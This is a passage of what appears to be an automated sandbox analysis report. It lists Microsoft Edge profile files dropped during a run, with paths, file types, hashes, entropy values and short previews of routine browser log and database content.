SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.193488269706015
Encrypted:	false
SSDEEP:	6:BMAfUW/0M1cNwi23oH+Tcwtk2WwnvB2KLlrMAfUW/PeIq2PcNwi23oH+Tcwtk2WG:NfX02ZYebkxwnvFL1fXvvLZYebkxwnQg
MD5:	1E54F11F1EAFCF746F0F09F47F231348
SHA1:	B35F2AE69954DBF5E975AC6AA255A20DFC24BC97
SHA-256:	54A2F6D1F4D1F0736DCD77A94CE7B386121942A21A0E6292BAFE0C6D370B8B60
SHA-512:	50F5DE69DBA534BC839E0F46AD9B07A6201AF87014C88D9C1A3E859D15AC2EAE28F18910FF9E2FB4A177A073510F9DC3C83F822E050360A773D2219F4D6D8376
Malicious:	false
Preview:	2024/07/26-04:13:23.936 2164 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/07/26-04:13:24.150 2164 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.1863781971810425
Encrypted:	false
SSDEEP:	6:BMAfUW2Oq2PcNwi23oH+Tcwt8aPrqIFUt84MAfUW2XZmw+4MAfUW3FkwOcNwi230:Nf7vLZYebL3FUt8wfe/+wfd54ZYebQJ
MD5:	196056BAC430EA5E89ADD04D97B00B4F
SHA1:	F15A62E8AE54AEB88BC5E54D7688A970371D2E9D
SHA-256:	614C46A0182E38EEF649960EF0DF96ADECAF6B46EB135DC44540956D89703C7F
SHA-512:	63C8FB4E5E5BD91AA8A36795E141F3DB55848AF882D0AEADA36DC69A30ADA51FD6DFA485A410A946059796A0B9E3B74DB685DECFAF0C48EE616381F96EABE451
Malicious:	false
Preview:	2024/07/26-04:13:12.456 c04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/07/26-04:13:12.456 c04 Recovering log #3.2024/07/26-04:13:12.457 c04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.1863781971810425
Encrypted:	false
SSDEEP:	6:BMAfUW2Oq2PcNwi23oH+Tcwt8aPrqIFUt84MAfUW2XZmw+4MAfUW3FkwOcNwi230:Nf7vLZYebL3FUt8wfe/+wfd54ZYebQJ
MD5:	196056BAC430EA5E89ADD04D97B00B4F
SHA1:	F15A62E8AE54AEB88BC5E54D7688A970371D2E9D
SHA-256:	614C46A0182E38EEF649960EF0DF96ADECAF6B46EB135DC44540956D89703C7F
SHA-512:	63C8FB4E5E5BD91AA8A36795E141F3DB55848AF882D0AEADA36DC69A30ADA51FD6DFA485A410A946059796A0B9E3B74DB685DECFAF0C48EE616381F96EABE451
Malicious:	false
Preview:	2024/07/26-04:13:12.456 c04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/07/26-04:13:12.456 c04 Recovering log #3.2024/07/26-04:13:12.457 c04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.193495265779594
Encrypted:	false
SSDEEP:	6:BMAfUWSSFIq2PcNwi23oH+Tcwt865IFUt84MAfUWkRXZmw+4MAfUWkRFkwOcNwiw:NfaSOvLZYeb/WFUt8wfwX/+wfwF54ZY4
MD5:	0D8350774B2BD35AB753F70604A936C3
SHA1:	18FFCE56D2D1DC6B3E8F4EC19ED37208064EFBCA
SHA-256:	4F4F661215B704595FA60AEFC6ABA5A7FEDA35782ED7C93BD71905DB974801FC
SHA-512:	E4F183CA5C4CC945B87D75F788BCADFC814E01C320825B5EFB0CF2DCE164BBD03C9FAA9550C89ADEA441725243D45761031A23991704735E25D67F9304915A6E
Malicious:	false
Preview:	2024/07/26-04:13:12.554 c04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/07/26-04:13:12.555 c04 Recovering log #3.2024/07/26-04:13:12.555 c04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.193495265779594
Encrypted:	false
SSDEEP:	6:BMAfUWSSFIq2PcNwi23oH+Tcwt865IFUt84MAfUWkRXZmw+4MAfUWkRFkwOcNwiw:NfaSOvLZYeb/WFUt8wfwX/+wfwF54ZY4
MD5:	0D8350774B2BD35AB753F70604A936C3
SHA1:	18FFCE56D2D1DC6B3E8F4EC19ED37208064EFBCA
SHA-256:	4F4F661215B704595FA60AEFC6ABA5A7FEDA35782ED7C93BD71905DB974801FC
SHA-512:	E4F183CA5C4CC945B87D75F788BCADFC814E01C320825B5EFB0CF2DCE164BBD03C9FAA9550C89ADEA441725243D45761031A23991704735E25D67F9304915A6E
Malicious:	false
Preview:	2024/07/26-04:13:12.554 c04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/07/26-04:13:12.555 c04 Recovering log #3.2024/07/26-04:13:12.555 c04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.202789280424327
Encrypted:	false
SSDEEP:	6:BMAfUW2qE9+q2PcNwi23oH+Tcwt8NIFUt84MAfUWw3JZmw+4MAfUWw39VkwOcNwA:Nfdi+vLZYebpFUt8wf0/+wfUV54ZYeb2
MD5:	908D864B7E4E77C87E603CDF5E25BA2E
SHA1:	B49C13B1006EA67B99E87C9A6BFB3AF48E99C39A
SHA-256:	1580F6C25C781155E9E08A2B78DB16D5FE78EE4A99A47629D1D92E65E3B9D5F0
SHA-512:	374C89976C8C2747B02FC5402205CC14FBCF6ED7B0A8B935E66BC46319202848866D69DC0E0BF6A49C09B50ED21CF195C8E8205CD559317C9DAD84F6C40F6E75
Malicious:	false
Preview:	2024/07/26-04:13:13.418 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/07/26-04:13:13.432 1dbc Recovering log #3.2024/07/26-04:13:13.432 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.202789280424327
Encrypted:	false
SSDEEP:	6:BMAfUW2qE9+q2PcNwi23oH+Tcwt8NIFUt84MAfUWw3JZmw+4MAfUWw39VkwOcNwA:Nfdi+vLZYebpFUt8wf0/+wfUV54ZYeb2
MD5:	908D864B7E4E77C87E603CDF5E25BA2E
SHA1:	B49C13B1006EA67B99E87C9A6BFB3AF48E99C39A
SHA-256:	1580F6C25C781155E9E08A2B78DB16D5FE78EE4A99A47629D1D92E65E3B9D5F0
SHA-512:	374C89976C8C2747B02FC5402205CC14FBCF6ED7B0A8B935E66BC46319202848866D69DC0E0BF6A49C09B50ED21CF195C8E8205CD559317C9DAD84F6C40F6E75
Malicious:	false
Preview:	2024/07/26-04:13:13.418 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/07/26-04:13:13.432 1dbc Recovering log #3.2024/07/26-04:13:13.432 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.8100854844845253
Encrypted:	false
SSDEEP:	96:0BCyJkDW9zJW9Sr9G9VelS9nsH4/Aztc4uuoKwJCDW9z1W9lr9GD:mNSsyZsHXzC4Po1gsB
MD5:	D5069FE245E67BC3CEBE24DF281F4CAF
SHA1:	B4D2C5EC4D9371BBDD6CF721866B8DD844608C1F
SHA-256:	5A860FDEAC92AB44C27A3DDE84E61D3FD5F6CF31C5E245E834965275D28147DA
SHA-512:	9ED20568E72D9C873A699F118908BD4FA20608E573FA667D47CEBF55C8F411E25EB23026118D8CF9F39672259DD101EC7C79496E6AD176A762E5060A33E60A07
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6680
Entropy (8bit):	2.933197851071823
Encrypted:	false
SSDEEP:	48:QtpL2RDMb9zy8rtH0H0Mb9H+EMWb9jyVeop2RDMb9zy8rt4H0Mb9NEMWb9jyt:QtpCDW9z1W9lr9GVkDW9zJW9Sr9Gt
MD5:	7BFF23F3B12F0B196F2B7D2AFB650C87
SHA1:	C3D71453181E3D169CE5F2DF2EA5A267E42D74D6
SHA-256:	AC13CAA9743C2E48B0549F545781B6D2196A944FD39DC052C16091D052C426B7
SHA-512:	B90C0072976FA2C115492F0CDB6377D9A2F262C27BB689A365F25D3F07340C4DA0AD6F874BB6DA4E1458C30D83A9F847ED5715BF18BBA18D498596637D4BF66B
Malicious:	false
Preview:	............p8:.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.8759257575908447
Encrypted:	false
SSDEEP:	192:ysagBMmsG2hH+bDo3iN0Z2TVJkXBBE3ybsSZFRssT:Za8MfG2hIU3iGAIBBE3qs9G
MD5:	542344B9B529FBC5BAEB4EC6A59A90D6
SHA1:	628BA323D2043BEC3DC5DD119B659711A40E8580
SHA-256:	C7E4788F21A4D9EF3018DB4701180D137B5C3917B1216BC32427B9D89FFE3852
SHA-512:	473428B6A872EF2190AD6D28FF9353F8B4E55FC36606BA07D2829B4A9694CD8D08EF43E6385E71566F70693A46EAED673A214E9EDB5E340C20363AFCFD9890B4
Malicious:	true
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33344
Entropy (8bit):	1.4941516571515037
Encrypted:	false
SSDEEP:	96:amr9GEDW9zaXW97xDW91Fr95LGlpMnOHDW9zxr9GBDW91Xr95+W9Yo3QWQCg:rsagyGlpMYssYZFg
MD5:	C9E9AAB4B15FA248B41E5D267CB1F79A
SHA1:	55842CE424C8AE015EB8A96D7CDEF8BFA154D731
SHA-256:	D2F13205D2C3A5AE2205C80D70795DB090332E3CEF3E675B81637E40C0A977AD
SHA-512:	FE91BF64E7D59F72A40F8F1D2B2C5CC24BAA691F11A8718EE517DC3D1491E49035919F3525C85D4305117407128769FC8A57CDBE5CE3DD49F7E6C4C9312E0AC9
Malicious:	false
Preview:	...............d...&......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................5..7...R.p.5."................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.264155671429523
Encrypted:	false
SSDEEP:	12:NfXA+vLZYeb8rcHEZrELFUt8wfXQ/+wfXAV54ZYeb8rcHEZrEZSJ:HlYeb8nZrExg86oYeb8nZrEZe
MD5:	CE58A8BBA2B7E0929EE7B2B3B4337096
SHA1:	8749475572E2B55E82AC66B5E220000B9D9F582B
SHA-256:	0E1DFD19CCE2FEA134C916368C9BCE6B73B4E22F7A574B711C67513B0D75C3DC
SHA-512:	D6FC6F2868A5E1CC88D2F15E7A6D28F49CB9DEAB0FFC5CDDFE83DD0D22FA7367780CFF06E725BF2D81A0911DB979F76139BDA8C42868E5B269D58862E103CACC
Malicious:	false
Preview:	2024/07/26-04:13:23.482 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/07/26-04:13:23.482 1dbc Recovering log #3.2024/07/26-04:13:23.482 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.264155671429523
Encrypted:	false
SSDEEP:	12:NfXA+vLZYeb8rcHEZrELFUt8wfXQ/+wfXAV54ZYeb8rcHEZrEZSJ:HlYeb8nZrExg86oYeb8nZrEZe
MD5:	CE58A8BBA2B7E0929EE7B2B3B4337096
SHA1:	8749475572E2B55E82AC66B5E220000B9D9F582B
SHA-256:	0E1DFD19CCE2FEA134C916368C9BCE6B73B4E22F7A574B711C67513B0D75C3DC
SHA-512:	D6FC6F2868A5E1CC88D2F15E7A6D28F49CB9DEAB0FFC5CDDFE83DD0D22FA7367780CFF06E725BF2D81A0911DB979F76139BDA8C42868E5B269D58862E103CACC
Malicious:	false
Preview:	2024/07/26-04:13:23.482 1dbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/07/26-04:13:23.482 1dbc Recovering log #3.2024/07/26-04:13:23.482 1dbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1353871004960245
Encrypted:	false
SSDEEP:	6:BMAfUWuASVq2PcNwi23oH+Tcwt8a2jMGIFUt84MAfUW5TgZmw+4MAfUWxWYDIkwh:NfGTVvLZYeb8EFUt8wf1g/+wfZHDI54e
MD5:	A2D37D5E439375434B29148A924347C1
SHA1:	5F6581394A28192DBC9F8908F156C2D463142723
SHA-256:	2081EE668752F53FEBD75CA24F9F27E4A2DD2C7621280B547B952B86B4B6EFE0
SHA-512:	1A1C911AA1D8B641D1D50E985EF18EDD2F31BE647EA6E1A404690CFE1D06ACD521039134DB88F0BFE568B4C16D82C4AE442089CE5E774643A2A4355E34020227
Malicious:	false
Preview:	2024/07/26-04:13:13.107 12e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/07/26-04:13:13.108 12e0 Recovering log #3.2024/07/26-04:13:13.113 12e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1353871004960245
Encrypted:	false
SSDEEP:	6:BMAfUWuASVq2PcNwi23oH+Tcwt8a2jMGIFUt84MAfUW5TgZmw+4MAfUWxWYDIkwh:NfGTVvLZYeb8EFUt8wf1g/+wfZHDI54e
MD5:	A2D37D5E439375434B29148A924347C1
SHA1:	5F6581394A28192DBC9F8908F156C2D463142723
SHA-256:	2081EE668752F53FEBD75CA24F9F27E4A2DD2C7621280B547B952B86B4B6EFE0
SHA-512:	1A1C911AA1D8B641D1D50E985EF18EDD2F31BE647EA6E1A404690CFE1D06ACD521039134DB88F0BFE568B4C16D82C4AE442089CE5E774643A2A4355E34020227
Malicious:	false
Preview:	2024/07/26-04:13:13.107 12e0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/07/26-04:13:13.108 12e0 Recovering log #3.2024/07/26-04:13:13.113 12e0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\MediaDeviceSalts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 6, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	0.4040486257467021
Encrypted:	false
SSDEEP:	24:TLiCwbvwsw9VwLwcORslcDw3wJ6UwccI5fB5IlFd7:TxKX0wxORAmA/U1cEB5IXd7
MD5:	BEDC6B0B5BDE70A6DC5F271FAF6176E9
SHA1:	D0F6FA77022066CB4EBE13C8954BC7FE040F5DE5
SHA-256:	23D407DCA4978CB797C5BF5C44AA10E5312B7DE2D890DCB9B35A4F86EA401DAA
SHA-512:	7C7B75C93B8DA9C5298B0B0003D5C02794BF1B5574AADDE529893E1766BF9A336B1530998297BF789861F01C4469CD0ECC6C87E4FA0A1557504BF0FED3BA907C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...p."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\093e9658-bd15-484b-9672-eeb1a837b210.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4864c830-9f41-4849-80bc-e4a9fd1c58cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8265691b-7970-445f-a9a5-7c990f9ff2b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
